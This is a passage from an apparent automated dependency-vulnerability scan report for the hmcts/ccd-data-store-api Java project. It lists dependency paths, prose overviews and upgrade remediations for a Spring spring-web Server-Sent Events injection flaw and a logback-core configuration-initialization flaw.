  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). The vulnerability exists in the handling of Server-Sent Events (SSE) when streaming plain text data. An attacker can inject crafted data into the event stream, breaking message boundaries and corrupting the stream delivered to other clients. By controlling streamed content, an attacker can manipulate how subsequent events are parsed by the client, potentially altering application state or injecting misleading data.

Note:

This is only exploitable if the application streams attacker-controlled data via SSE using unstructured/plain-text messages instead of a structured format (e.g., JSON).

Remediation

Upgrade org.springframework:spring-web to version 6.2.17, 7.0.6 or higher.

References

low severity

External Initialization of Trusted Variables or Data Stores

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores during the configuration file processing. An attacker can instantiate arbitrary classes already present on the class path by compromising an existing configuration file.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.25 or higher.

References